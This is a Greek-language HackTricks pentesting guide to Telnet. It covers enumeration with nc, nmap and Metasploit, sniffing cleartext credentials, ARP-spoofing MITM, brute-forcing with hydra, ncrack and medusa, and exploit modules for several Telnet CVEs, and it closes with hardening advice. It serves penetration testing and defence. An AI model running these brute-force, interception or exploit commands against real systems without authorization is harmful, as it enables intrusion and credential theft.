23 - Pentesting Telnet

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το Telnet είναι ένα πρωτόκολλο δικτύου που παρέχει στους χρήστες έναν μη ασφαλή τρόπο πρόσβασης σε έναν υπολογιστή μέσω ενός δικτύου.

Προεπιλεγμένη θύρα: 23

23/tcp open  telnet

Αναγνώριση

Λήψη Μπανερ

bash
nc -vn <IP> 23

Όλη η ενδιαφέρουσα αρίθμηση μπορεί να πραγματοποιηθεί με nmap:

bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Το σενάριο telnet-ntlm-info.nse θα αποκτήσει πληροφορίες NTLM (εκδόσεις Windows).

Από το telnet RFC: Στο πρωτόκολλο TELNET υπάρχουν διάφορες "επιλογές" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "DO, DON'T, WILL, WON'T" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ.

Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.

Brute force

Config file

bash
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Αυτόματες Εντολές

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Πρόσφατες Ευπάθειες (2022-2025)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Η ενσωματωμένη υπηρεσία Telnet δέχτηκε σκληρά κωδικοποιημένα διαπιστευτήρια και απέτυχε να καθαρίσει την είσοδο, επιτρέποντας μη αυθεντικοποιημένη απομακρυσμένη RCE ως root μέσω κατασκευασμένων εντολών στην πόρτα 23. Διορθώθηκε στο firmware ≥ 1.04B05.
  • CVE-2023-40478 – NETGEAR RAX30: Υπερχείλιση buffer βάσει στοίβας στην εντολή Telnet CLI passwd επιτρέπει σε έναν γειτονικό επιτιθέμενο να παρακάμψει την αυθεντικοποίηση και να εκτελέσει αυθαίρετο κώδικα ως root.
  • CVE-2022-39028 – GNU inetutils telnetd: Μια ακολουθία δύο byte (0xff 0xf7 / 0xff 0xf8) ενεργοποιεί μια αναφορά NULL-pointer που μπορεί να καταρρεύσει το telnetd, οδηγώντας σε μόνιμο DoS μετά από αρκετές καταρρεύσεις.

Κρατήστε αυτές τις CVEs στο μυαλό σας κατά τη διάρκεια της τριχοτόμησης ευπαθειών—αν ο στόχος εκτελεί un-patched firmware ή legacy inetutils Telnet daemon μπορεί να έχετε μια απλή διαδρομή για εκτέλεση κώδικα ή μια διαταραχή DoS.

Υποκλοπή Διαπιστευτηρίων & Man-in-the-Middle

Το Telnet μεταδίδει τα πάντα, συμπεριλαμβανομένων των διαπιστευτηρίων, σε καθαρό κείμενο. Δύο γρήγοροι τρόποι για να τα καταγράψετε:

bash
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Για ενεργό MITM, συνδυάστε την παραπλάνηση ARP (π.χ. arpspoof/ettercap) με τα ίδια φίλτρα υποκλοπής για να συλλέξετε κωδικούς πρόσβασης σε δίκτυα με διακόπτες.

Αυτοματοποιημένη Βία / Ψεκασμός Κωδικών Πρόσβασης

bash
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Οι περισσότερες IoT botnets (παραλλαγές Mirai) εξακολουθούν να σκανάρουν την πόρτα 23 με μικρές λεξικοθήκες προεπιλεγμένων διαπιστευτηρίων—η αντανάκλαση αυτής της λογικής μπορεί γρήγορα να εντοπίσει αδύνατες συσκευές.

Εκμετάλλευση & Μετα-εκμετάλλευση

Το Metasploit έχει αρκετά χρήσιμα modules:

  • auxiliary/scanner/telnet/telnet_version – αρίθμηση banner & επιλογών.
  • auxiliary/scanner/telnet/brute_telnet – πολυνηματική βίαιη επίθεση.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE κατά ευάλωτου Solaris 9/10 Telnet (διαχείριση επιλογής ENCRYPT).
  • exploit/linux/mips/netgear_telnetenable – ενεργοποιεί την υπηρεσία telnet με ένα κατασκευασμένο πακέτο σε πολλές συσκευές NETGEAR.

Αφού αποκτηθεί ένα shell, θυμηθείτε ότι οι TTY είναι συνήθως ανόητες; αναβαθμίστε με python -c 'import pty;pty.spawn("/bin/bash")' ή χρησιμοποιήστε τα HackTricks TTY tricks.

Σκληροποίηση & Ανίχνευση (Γωνία μπλε ομάδας)

  1. Προτιμήστε το SSH και απενεργοποιήστε εντελώς την υπηρεσία Telnet.
  2. Εάν απαιτείται το Telnet, συνδέστε το μόνο σε VLAN διαχείρισης, επιβάλετε ACLs και τυλίξτε τον δαίμονα με TCP wrappers (/etc/hosts.allow).
  3. Αντικαταστήστε τις παλιές υλοποιήσεις telnetd με ssl-telnet ή telnetd-ssl για να προσθέσετε κρυπτογράφηση μεταφοράς, αλλά αυτό προστατεύει μόνο τα δεδομένα κατά τη μεταφορά—η μαντεψιά κωδικών παραμένει απλή.
  4. Παρακολουθήστε την εξερχόμενη κίνηση προς την πόρτα 23; οι παραβιάσεις συχνά δημιουργούν αντίστροφα shells μέσω Telnet για να παρακάμψουν αυστηρά φίλτρα εξόδου HTTP.

Αναφορές

  • D-Link Advisory – CVE-2024-45698 Κρίσιμη Telnet RCE.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks